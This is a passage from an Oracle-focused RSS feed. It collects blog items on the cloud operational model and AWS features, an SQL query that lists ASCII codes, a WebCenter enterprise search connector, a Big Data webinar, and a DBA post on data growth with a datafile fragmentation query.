&lt;p&gt;The oft-repeated mantra is that Cloud replaces capital expenses (CapExp) with operational expenses (OpEx). There&amp;#8217;s a lot more to it than that, but it surely contributes a lot to OpEx and that needs to be managed. How does the Cloud Operational Model support this? Are buyer-side roles clearly identified (who can create an account, who can deploy a service instance, who can manage a deployed instance, etc) and do they map well to the organizational structure of the consumer organization? Can charges be segmented and attributed to various cost centers? Can quotas be set? Can consumption/cost projections be run?&lt;/p&gt;
&lt;p&gt;We all (at least those of us who aren&amp;#8217;t accountants) love a great story about how some employee used a credit card to get from the Cloud something that the normal corporate process would not allow (or at too high a cost). These are fun for a while, but it&amp;#8217;s not sustainable. This doesn&amp;#8217;t mean organizations will not be able to take advantage of the flexibility of Cloud, but they will only be able to do it if the Cloud Operational Model provides the needed support to meet the requirements of internal control processes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some of the ways in which the Cloud Operational Model materializes can be unexpected. They can seem old-fashioned. Let&amp;#8217;s take Amazon Web Services (AWS) as an example. When they started, ownership of AWS resources was tied to an individual user&amp;#8217;s Amazon account. That&amp;#8217;s a big Operational Model no-no. They&amp;#8217;ve moved past that point. As an illustration of how the Operational Model materializes, here are some of the features that are part of Amazon&amp;#8217;s:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can &lt;a href=&quot;http://aws.amazon.com/importexport/&quot;&gt;Fedex a drive&lt;/a&gt; and have Amazon load the data to S3.&lt;/li&gt;
&lt;li&gt;You can optimize your costs for flexible workloads via &lt;a href=&quot;http://aws.amazon.com/ec2/spot-instances/&quot;&gt;spot instances&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The monitoring console (and API) will let you know ahead of time (when possible) which instances need to be rebooted and which will need to be terminated because they run on a soon-to-be-decommissioned server. Now you could argue that it&amp;#8217;s a limitation of the AWS platform (lack of live migration) but that&amp;#8217;s not the point here. Limitations exists and the role of the Operational Model is to provide the tools to handle them in an acceptable way.&lt;/li&gt;
&lt;li&gt;Amazon has a program to put customers in touch with &lt;a href=&quot;https://aws.amazon.com/solution-providers/si&quot;&gt;qualified System Integrators&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;You can use your Amazon support channel for &lt;a href=&quot;http://aws.typepad.com/aws/2012/01/new-aws-premium-support-features-third-party-software-support-and-aws-trusted-advisor.html&quot;&gt;questions related to some 3rd party software&lt;/a&gt; (though I don&amp;#8217;t know what the depth of that support is).&lt;/li&gt;
&lt;li&gt;To support your security and compliance requirements, AWS support &lt;a href=&quot;http://aws.amazon.com/mfa/&quot;&gt;multi-factor authentication&lt;/a&gt; and has achieved some &lt;a href=&quot;http://aws.amazon.com/security/#certifications&quot;&gt;certifications and accreditations&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://aws.typepad.com/aws/2012/01/ec2-instance-status-checks.html&quot;&gt;Instance status checks&lt;/a&gt; can help streamline your diagnostic flows.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These Operational Model features don&amp;#8217;t generate nearly as much discussion as new Functional Model features (&amp;#8220;oh, look, a NoSQL AWS service!&amp;#8221;) . That&amp;#8217;s OK. The Operational Model doesn&amp;#8217;t seek the limelight.&lt;/p&gt;
&lt;p&gt;Business applications are involved, in some form, in almost every activity taking place in a company. Those activities take many different forms, from a developer debugging an application to an executive examining operational expenses. The PaaS Operational Model must meet their needs.&lt;/p&gt;</description>
 <pubDate>Fri, 03 Feb 2012 05:56:04 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18200 at http://www.ora600.be</guid>
</item>
<item>
 <title>ASCII table listing from SQL</title>
 <link>http://www.ora600.be/news/ascii-table-listing-sql</link>
 <description>Today I was chasing the relevant ASCII code for certain characters... I know there are plenty of &lt;a href=&quot;http://www.techonthenet.com/ascii/chart.php&quot;&gt;ASCII tables&lt;/a&gt; on the net, but this is an interesting SQL solution, nonetheless.&lt;br /&gt;select rownum &quot;dec&quot;&lt;br /&gt;      ,chr(rownum) &quot;char&quot;&lt;br /&gt;      ,to_char(rownum,&#039;XXXX&#039;) &quot;hex&quot;&lt;br /&gt;from dual connect by level &amp;lt; 256;dec char    hex    &lt;br /&gt;--- ----    ---&lt;br /&gt;1       1&lt;br /&gt;2       2&lt;br /&gt;3       3&lt;br /&gt;4       4&lt;br /&gt;5       5&lt;br /&gt;6       6&lt;br /&gt;7       7&lt;br /&gt;8       8&lt;br /&gt;9 &quot; &quot;   9&lt;br /&gt;10 &quot;&lt;br /&gt;&quot;     A&lt;br /&gt;11       B&lt;br /&gt;12       C&lt;br /&gt;13 &quot;&lt;br /&gt;&quot;     D&lt;br /&gt;14       E&lt;br /&gt;15       F&lt;br /&gt;16      10&lt;br /&gt;17      11&lt;br /&gt;18      12&lt;br /&gt;19      13&lt;br /&gt;20      14&lt;br /&gt;21      15&lt;br /&gt;22      16&lt;br /&gt;23      17&lt;br /&gt;24      18&lt;br /&gt;25      19&lt;br /&gt;26      1A&lt;br /&gt;27      1B&lt;br /&gt;28      1C&lt;br /&gt;29      1D&lt;br /&gt;30      1E&lt;br /&gt;31      1F&lt;br /&gt;32      20&lt;br /&gt;33 !    21&lt;br /&gt;34 &quot;    22&lt;br /&gt;35 #    23&lt;br /&gt;36 $    24&lt;br /&gt;37 %    25&lt;br /&gt;38 &amp;amp;    26&lt;br /&gt;39 &#039;    27&lt;br /&gt;40 (    28&lt;br /&gt;41 )    29&lt;br /&gt;42 *    2A&lt;br /&gt;43 +    2B&lt;br /&gt;44 ,    2C&lt;br /&gt;45 -    2D&lt;br /&gt;46 .    2E&lt;br /&gt;47 /    2F&lt;br /&gt;48 0    30&lt;br /&gt;49 1    31&lt;br /&gt;50 2    32&lt;br /&gt;51 3    33&lt;br /&gt;52 4    34&lt;br /&gt;53 5    35&lt;br /&gt;54 6    36&lt;br /&gt;55 7    37&lt;br /&gt;56 8    38&lt;br /&gt;57 9    39&lt;br /&gt;58 :    3A&lt;br /&gt;59 ;    3B&lt;br /&gt;60 &amp;lt;    3C&lt;br /&gt;61 =    3D&lt;br /&gt;62 &amp;gt;    3E&lt;br /&gt;63 ?    3F&lt;br /&gt;64 @    40&lt;br /&gt;65 A    41&lt;br /&gt;66 B    42&lt;br /&gt;67 C    43&lt;br /&gt;68 D    44&lt;br /&gt;69 E    45&lt;br /&gt;70 F    46&lt;br /&gt;71 G    47&lt;br /&gt;72 H    48&lt;br /&gt;73 I    49&lt;br /&gt;74 J    4A&lt;br /&gt;75 K    4B&lt;br /&gt;76 L    4C&lt;br /&gt;77 M    4D&lt;br /&gt;78 N    4E&lt;br /&gt;79 O    4F&lt;br /&gt;80 P    50&lt;br /&gt;81 Q    51&lt;br /&gt;82 R    52&lt;br /&gt;83 S    53&lt;br /&gt;84 T    54&lt;br /&gt;85 U    55&lt;br /&gt;86 V    56&lt;br /&gt;87 W    57&lt;br /&gt;88 X    58&lt;br /&gt;89 Y    59&lt;br /&gt;90 Z    5A&lt;br /&gt;91 [    5B&lt;br /&gt;92 \    5C&lt;br /&gt;93 ]    5D&lt;br /&gt;94 ^    5E&lt;br /&gt;95 _    5F&lt;br /&gt;96 `    60&lt;br /&gt;97 a    61&lt;br /&gt;98 b    62&lt;br /&gt;99 c    63&lt;br /&gt;100 d    64&lt;br /&gt;101 e    65&lt;br /&gt;102 f    66&lt;br /&gt;103 g    67&lt;br /&gt;104 h    68&lt;br /&gt;105 i    69&lt;br /&gt;106 j    6A&lt;br /&gt;107 k    6B&lt;br /&gt;108 l    6C&lt;br /&gt;109 m    6D&lt;br /&gt;110 n    6E&lt;br /&gt;111 o    6F&lt;br /&gt;112 p    70&lt;br /&gt;113 q    71&lt;br /&gt;114 r    72&lt;br /&gt;115 s    73&lt;br /&gt;116 t    74&lt;br /&gt;117 u    75&lt;br /&gt;118 v    76&lt;br /&gt;119 w    77&lt;br /&gt;120 x    78&lt;br /&gt;121 y    79&lt;br /&gt;122 z    7A&lt;br /&gt;123 {    7B&lt;br /&gt;124 |    7C&lt;br /&gt;125 }    7D&lt;br /&gt;126 ~    7E&lt;br /&gt;127     7F&lt;br /&gt;128 €    80&lt;br /&gt;129     81&lt;br /&gt;130 ‚    82&lt;br /&gt;131 ƒ    83&lt;br /&gt;132 „    84&lt;br /&gt;133 …    85&lt;br /&gt;134 †    86&lt;br /&gt;135 ‡    87&lt;br /&gt;136 ˆ    88&lt;br /&gt;137 ‰    89&lt;br /&gt;138 Š    8A&lt;br /&gt;139 ‹    8B&lt;br /&gt;140 Œ    8C&lt;br /&gt;141     8D&lt;br /&gt;142 Ž    8E&lt;br /&gt;143     8F&lt;br /&gt;144     90&lt;br /&gt;145 ‘    91&lt;br /&gt;146 ’    92&lt;br /&gt;147 “    93&lt;br /&gt;148 ”    94&lt;br /&gt;149 •    95&lt;br /&gt;150 –    96&lt;br /&gt;151 —    97&lt;br /&gt;152 ˜    98&lt;br /&gt;153 ™    99&lt;br /&gt;154 š    9A&lt;br /&gt;155 ›    9B&lt;br /&gt;156 œ    9C&lt;br /&gt;157     9D&lt;br /&gt;158 ž    9E&lt;br /&gt;159 Ÿ    9F&lt;br /&gt;160 &amp;nbsp;    A0&lt;br /&gt;161 ¡    A1&lt;br /&gt;162 ¢    A2&lt;br /&gt;163 £    A3&lt;br /&gt;164 ¤    A4&lt;br /&gt;165 ¥    A5&lt;br /&gt;166 ¦    A6&lt;br /&gt;167 §    A7&lt;br /&gt;168 ¨    A8&lt;br /&gt;169 ©    A9&lt;br /&gt;170 ª    AA&lt;br /&gt;171 «    AB&lt;br /&gt;172 ¬    AC&lt;br /&gt;173 ­    AD&lt;br /&gt;174 ®    AE&lt;br /&gt;175 ¯    AF&lt;br /&gt;176 °    B0&lt;br /&gt;177 ±    B1&lt;br /&gt;178 ²    B2&lt;br /&gt;179 ³    B3&lt;br /&gt;180 ´    B4&lt;br /&gt;181 µ    B5&lt;br /&gt;182 ¶    B6&lt;br /&gt;183 ·    B7&lt;br /&gt;184 ¸    B8&lt;br /&gt;185 ¹    B9&lt;br /&gt;186 º    BA&lt;br /&gt;187 »    BB&lt;br /&gt;188 ¼    BC&lt;br /&gt;189 ½    BD&lt;br /&gt;190 ¾    BE&lt;br /&gt;191 ¿    BF&lt;br /&gt;192 À    C0&lt;br /&gt;193 Á    C1&lt;br /&gt;194 Â    C2&lt;br /&gt;195 Ã    C3&lt;br /&gt;196 Ä    C4&lt;br /&gt;197 Å    C5&lt;br /&gt;198 Æ    C6&lt;br /&gt;199 Ç    C7&lt;br /&gt;200 È    C8&lt;br /&gt;201 É    C9&lt;br /&gt;202 Ê    CA&lt;br /&gt;203 Ë    CB&lt;br /&gt;204 Ì    CC&lt;br /&gt;205 Í    CD&lt;br /&gt;206 Î    CE&lt;br /&gt;207 Ï    CF&lt;br /&gt;208 Ð    D0&lt;br /&gt;209 Ñ    D1&lt;br /&gt;210 Ò    D2&lt;br /&gt;211 Ó    D3&lt;br /&gt;212 Ô    D4&lt;br /&gt;213 Õ    D5&lt;br /&gt;214 Ö    D6&lt;br /&gt;215 ×    D7&lt;br /&gt;216 Ø    D8&lt;br /&gt;217 Ù    D9&lt;br /&gt;218 Ú    DA&lt;br /&gt;219 Û    DB&lt;br /&gt;220 Ü    DC&lt;br /&gt;221 Ý    DD&lt;br /&gt;222 Þ    DE&lt;br /&gt;223 ß    DF&lt;br /&gt;224 à    E0&lt;br /&gt;225 á    E1&lt;br /&gt;226 â    E2&lt;br /&gt;227 ã    E3&lt;br /&gt;228 ä    E4&lt;br /&gt;229 å    E5&lt;br /&gt;230 æ    E6&lt;br /&gt;231 ç    E7&lt;br /&gt;232 è    E8&lt;br /&gt;233 é    E9&lt;br /&gt;234 ê    EA&lt;br /&gt;235 ë    EB&lt;br /&gt;236 ì    EC&lt;br /&gt;237 í    ED&lt;br /&gt;238 î    EE&lt;br /&gt;239 ï    EF&lt;br /&gt;240 ð    F0&lt;br /&gt;241 ñ    F1&lt;br /&gt;242 ò    F2&lt;br /&gt;243 ó    F3&lt;br /&gt;244 ô    F4&lt;br /&gt;245 õ    F5&lt;br /&gt;246 ö    F6&lt;br /&gt;247 ÷    F7&lt;br /&gt;248 ø    F8&lt;br /&gt;249 ù    F9&lt;br /&gt;250 ú    FA&lt;br /&gt;251 û    FB&lt;br /&gt;252 ü    FC&lt;br /&gt;253 ý    FD&lt;br /&gt;254 þ    FE&lt;br /&gt;255 ÿ    FFI think I&#039;m glad I don&#039;t need to work in a multi-language / character set environment.&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/4818542164384221282-4835255510144345995?l=www.grassroots-oracle.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 05:01:00 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18201 at http://www.ora600.be</guid>
</item>
<item>
 <title>Exposing Enterprise Search Capabilities within Oracle WebCenter Content</title>
 <link>http://www.ora600.be/news/exposing-enterprise-search-capabilities-within-oracle-webcenter-content</link>
 <description>&lt;p&gt;&lt;a href=&quot;http://cfour.files.wordpress.com/2012/02/ecm-plus-google_small_jpeg1.jpg&quot;&gt;&lt;img class=&quot;alignleft size-medium wp-image-1370&quot; title=&quot;ECM Plus Google_Small_jpeg&quot; src=&quot;http://cfour.files.wordpress.com/2012/02/ecm-plus-google_small_jpeg1.jpg?w=300&amp;amp;h=147&quot; alt=&quot;&quot; width=&quot;300&quot; height=&quot;147&quot; /&gt;&lt;/a&gt;I shudder at the thought of how much time I have wasted searching for information during my professional career. I would bet that the number of keywords and keyword combinations I have used to search network file shares, local drives, email, and enterprise content management (ECM) systems numbers in the hundreds. And as I think about how many of my searches resulted in me finding the information I was looking for in the first place, I would guess around a 70% success rate. For the other 30%, I would end up either re-creating content that already existed, emailing colleagues asking them if they knew where “high value content item A” could be found, or many times I would just simply give up and move on to my next work task that did not require ancillary information to complete.&lt;/p&gt;
&lt;p&gt;My enterprise search experiences probably aren’t much unlike yours, and even if they are, I think we can all agree that time any time wasted searching for information in our organizations leads to increased costs, reduced knowledge sharing, and frustrated employees. And frankly, employees like me are frustrated because we aren’t always sure what system has the information we need. Industry statistics suggest that most large organizations have at least two content repositories and Gartner has even suggested 66% of enterprise have more than six. So it is really no wonder that up to 25% of a knowledge workers time is spent searching for information because they don’t know where to find it or the system they think has it doesn’t. Content management users that cannot find the information they need from those systems will quickly abandon them and instead choose to store and retrieve content from file shares or local drives. This only perpetuates the growth of repositories within organizations further increasing costs, decreasing knowledge sharing and frustrating employees even more.&lt;/p&gt;
&lt;p&gt;Eliminating most of the above issues can be achieved by providing ECM users with search capabilities that provide the ability to search multiple repositories and return highly relevant, categorized results. The Google Search Appliance (GSA) offers out-of-the-box capabilities to search files systems and websites and return results through the familiar Google interface. Fishbowl Solutions has leveraged the capabilities of the GSA and extended them to WebCenter Content users through their GSA Connector for WebCenter. With Version 2.0 of this connector, WebCenter users are provided with a search template that can be configured to enable searches for not only WebCenter Content, but also content in SharePoint sites, file shares, as well as blog and wiki articles – All directly from WebCenter Content. This effectively provides WebCenter Content users with an enterprise search system within the context of their WebCenter user interface. For more information on Fishbowl’s GSA Connector Version 2.0 for Oracle WebCenter Content, please click on the following links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press Release: &lt;a href=&quot;http://www.fishbowlsolutions.com/News/fs_mkt_o_GSAConnectorv20_pr&quot; target=&quot;_blank&quot;&gt;Fishbowl Solutions Releases Version 2.0 of their Google Search Appliance Connector for Oracle WebCenter Content&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.fishbowlsolutions.com/StellentSolutions/StellentComponents/GoogleSearchApplianceConnector/index.htm#Videos&quot; target=&quot;_blank&quot;&gt;Demo Viewlet&lt;/a&gt; (9 minutes)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.fishbowlsolutions.com/fishbowl/groups/public/documents/brochure/fs_gsa_connector_brochure.pdf&quot; target=&quot;_blank&quot;&gt;Product Brochure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Case Study: &lt;a href=&quot;http://www.fishbowlsolutions.com/fishbowl/groups/public/documents/case_studies/031758.pdf&quot; target=&quot;_blank&quot;&gt;Fairview Health Services&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;Filed under: &lt;a href=&quot;http://cfour.fishbowlsolutions.com/category/11g/&quot;&gt;11g&lt;/a&gt;, &lt;a href=&quot;http://cfour.fishbowlsolutions.com/category/content-management/&quot;&gt;Content Management&lt;/a&gt;, &lt;a href=&quot;http://cfour.fishbowlsolutions.com/category/ucm/enterprise-search/&quot;&gt;Enterprise Search&lt;/a&gt;, &lt;a href=&quot;http://cfour.fishbowlsolutions.com/category/ucm/&quot;&gt;UCM&lt;/a&gt;, &lt;a href=&quot;http://cfour.fishbowlsolutions.com/category/webcenter/&quot;&gt;WebCenter&lt;/a&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/cfour.wordpress.com/1367/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/cfour.wordpress.com/1367/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=cfour.fishbowlsolutions.com&amp;amp;blog=10798087&amp;amp;post=1367&amp;amp;subd=cfour&amp;amp;ref=&amp;amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</description>
 <pubDate>Fri, 03 Feb 2012 00:55:56 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18199 at http://www.ora600.be</guid>
</item>
<item>
 <title>Big Data...</title>
 <link>http://www.ora600.be/news/big-data-0</link>
 <description>I&#039;ll be doing a web seminar on Big Data on February 16th at 10am Pacific Time. &amp;nbsp;Here is the info:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.&lt;br /&gt;&lt;br /&gt;Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.&lt;br /&gt;&lt;br /&gt;You’ll get answers to tough questions surrounding big data, including:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; What business insight can big data uncover?&lt;/li&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; How do you manage big data?&lt;/li&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; How do you integrate big data into decision-making?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Register today for this half-day online event featuring live Q&amp;amp;A with big data experts.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.oracle.com/goto/bigdata&quot;&gt;www.oracle.com/goto/bigdata&lt;/a&gt;&lt;br /&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/11839365-7170583780096674501?l=tkyte.blogspot.com&quot; alt=&quot;&quot; /&gt;</description>
 <pubDate>Thu, 02 Feb 2012 21:01:46 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18196 at http://www.ora600.be</guid>
</item>
<item>
 <title>Don’t make plans, make options</title>
 <link>http://www.ora600.be/news/don%E2%80%99t-make-plans-make-options</link>
 <description>&lt;p&gt;An old Chinese proverb says: “When planning for a year, plant corn. When planning for a decade, plant trees. When planning for life, train and educate people.”&lt;/p&gt;
&lt;p&gt;When new IT applications are created, how often does someone plan about the future of the data? Its growth, reorganization, what is being logged, how often unnecessary data is purged and deleted; what is being audited and how? I guess we all know the answer. Here is a picture from &lt;a href=&quot;http://permabit.com/media-center/blogs/2011/02/data-affordability-gap/&quot; title=&quot;The Data Affordability GAP Widens – Year by Year&quot; target=&quot;_blank&quot;&gt;The Data Affordability GAP Widens – Year by Year&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://juliandontcheff.files.wordpress.com/2012/02/data_growth.png&quot;&gt;&lt;img src=&quot;http://juliandontcheff.files.wordpress.com/2012/02/data_growth.png?w=604&amp;amp;h=405&quot; alt=&quot;&quot; title=&quot;data_growth&quot; width=&quot;604&quot; height=&quot;405&quot; class=&quot;aligncenter size-full wp-image-2533&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Building the Knowledge! That is the starting point. Andy Flower, the president of IOUG, wrote an excellent article in the January/February 2012 issue of Oracle Magazine entitled &lt;a href=&quot;http://www.oracle.com/technetwork/issue-archive/2012/12-jan/o12field-1385047.html&quot; title=&quot;Building the Knowledgebase&quot; target=&quot;_blank&quot;&gt;&amp;#8220;Building the Knowledgebase&amp;#8221;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Andy Flower says: &amp;#8220;30 percent of organizations have seen data grow at an annual rate of more than 25 percent, with 10 percent seeing greater than 50 percent growth. 27 percent of respondents currently have more than 100 TB of data. Nearly 1 out of 10 sites now has data stores in the petabyte range.&amp;#8221;&lt;/p&gt;
&lt;p&gt;1. Unnecessary data is seldom deleted, purged or archived. I have often (rather quite often) seen databases where less that 10% of the data stored is used on daily basis. Oracle AWR reports can provide you excellent information where the physical and logical reads come from and with what percentage. Here is a simple example:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://juliandontcheff.files.wordpress.com/2012/02/physical_reads.png&quot;&gt;&lt;img src=&quot;http://juliandontcheff.files.wordpress.com/2012/02/physical_reads.png?w=604&amp;amp;h=214&quot; alt=&quot;&quot; title=&quot;physical_reads&quot; width=&quot;604&quot; height=&quot;214&quot; class=&quot;aligncenter size-full wp-image-2527&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. Databases often get fragmented, and they need regular reorganization. An interesting example is a global database which was 7TB in size (now bigger I guess) with real data less than 1TB. If that&amp;#8217;s not a classical example of database fragmentation, then please give me a better one. Datafiles had so much white space! You may use this query to check for datafile fragmentation:&lt;/p&gt;
&lt;p&gt;
set lines 256
set pages 999
col &amp;#34;File Name&amp;#34; for A47
column file_name format a40; 
column highwater format 9999999999; 
SELECT  /*+ RULE */ df.File_id, Substr(df.file_name,1,47) &amp;#34;File Name&amp;#34;,
        Round(df.bytes/1024/1024,2) &amp;#34;Size (M)&amp;#34;,
        Round(e.used_bytes/1024/1024) &amp;#34;Used (M)&amp;#34;,
        Round(f.free_bytes/1024/1024) &amp;#34;Free (M)&amp;#34;,
        round((b.maximum+c.blocks-1)*d.db_block_size/(1024*1024)) &amp;#34;HWM (M)&amp;#34;
FROM    dba_data_files df,
        (SELECT file_id, Sum(Decode(bytes,NULL,0,bytes)) used_bytes FROM dba_extents GROUP by file_id) e,
        (SELECT Max(bytes) free_bytes, file_id FROM dba_free_space GROUP BY file_id) f,
        (SELECT file_id, max(block_id) maximum from dba_extents group by file_id) b,
        dba_extents c,
        (SELECT value db_block_size from v$parameter where name=&#039;db_block_size&#039;) d
WHERE   e.file_id (+) = df.file_id
AND     df.file_id = f.file_id (+)
AND     df.file_id = b.file_id and c.file_id = b.file_id and c.block_id = b.maximum
ORDER BY
        df.tablespace_name, df.file_name
/
&lt;/p&gt;
&lt;p&gt;I am sorry about the RULE hint but it really runs faster with RBO.&lt;/p&gt;
&lt;p&gt;Two key benefits of regular database reorganization are:&lt;/p&gt;
&lt;p&gt;- better performance as data and indexes are spread over less blocks and thus less I/O and CPU are needed to access the data (and less memory of course)&lt;br /&gt;
- backups take less time and occupy less storage and tape (accordingly restore &amp;#38; recovery will be faster)&lt;/p&gt;
&lt;p&gt;3. Databases are copied one-to-one from environment to another when data refresh is needed. Just like that. Copy and Paste. Not really, but often with the RMAN&amp;#8217;s command &amp;#8220;duplicate target database to ..&amp;#8221; Have a look at what Oracle has to offer these days: &lt;a href=&quot;http://www.oracle.com/technetwork/oem/pdf/511875.pdf&quot; title=&quot;Oracle Test Data Management Pack for Oracle and non-Oracle Databases&quot; target=&quot;_blank&quot;&gt;the Oracle Test Data Management Pack for Oracle and non-Oracle Databases&lt;/a&gt;. The key benefits of the pack are:&lt;/p&gt;
&lt;p&gt;- Reduce application storage costs dramatically through data subsetting&lt;br /&gt;
- Increase developer productivity through right-sized production copies&lt;br /&gt;
- Eliminate labor-intensive error-prone manual process to create test systems by automating application discovery, data relationship modeling, dynamic subset rules and parameter-driven execution&lt;/p&gt;
&lt;p&gt;One really doesn&amp;#8217;t need all the data from Production in the Development or the Test environment!&lt;/p&gt;
&lt;p&gt;4. Data growth is often not monitored and seldom one knows which data can be deleted. I have just 3 words for this: &lt;a href=&quot;http://www.oracle.com/technetwork/oem/enterprise-manager/overview/index.html&quot; title=&quot;Oracle Enterprise Manager 12c&quot; target=&quot;_blank&quot;&gt;&amp;#8220;Oracle Cloud Control&amp;#8221;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A very detailed explanation of the problem is described by IBM in &lt;a href=&quot;http://www.ihrim.org/Pubonline/Wire/Sept11/ControlAppData.PDF&quot; title=&quot;Control application data growth before it controls your business&quot; target=&quot;_blank&quot;&gt;Control application data growth before it controls your business&lt;/a&gt;. Let me quote part of the executive summary:&lt;/p&gt;
&lt;p&gt;&amp;#8220;What are these effects? The most obvious are complexity and risk, along with storage and management costs. Data that has accumulated at a significant rate is highly distributed over multiple applications, databases and platforms creating complicated data relationships that are difficult to define, understand, control and house. Also, managing years of historical data in production databases can impact service levels and disaster recovery initiatives. Expanding online and batch processing windows, along with routine maintenance tasks, takes much more time and can reduce application availability significantly.&amp;#8221;&lt;/p&gt;
&lt;p&gt;Wonder why people started all of a sudden talk about Big Data?&lt;/p&gt;
&lt;br /&gt;Filed under: &lt;a href=&quot;http://juliandontcheff.wordpress.com/category/database-tuning/&quot;&gt;Database tuning&lt;/a&gt;, &lt;a href=&quot;http://juliandontcheff.wordpress.com/category/dba/&quot;&gt;DBA&lt;/a&gt;, &lt;a href=&quot;http://juliandontcheff.wordpress.com/category/oracle-database/&quot;&gt;Oracle database&lt;/a&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/juliandontcheff.wordpress.com/2514/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/juliandontcheff.wordpress.com/2514/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; 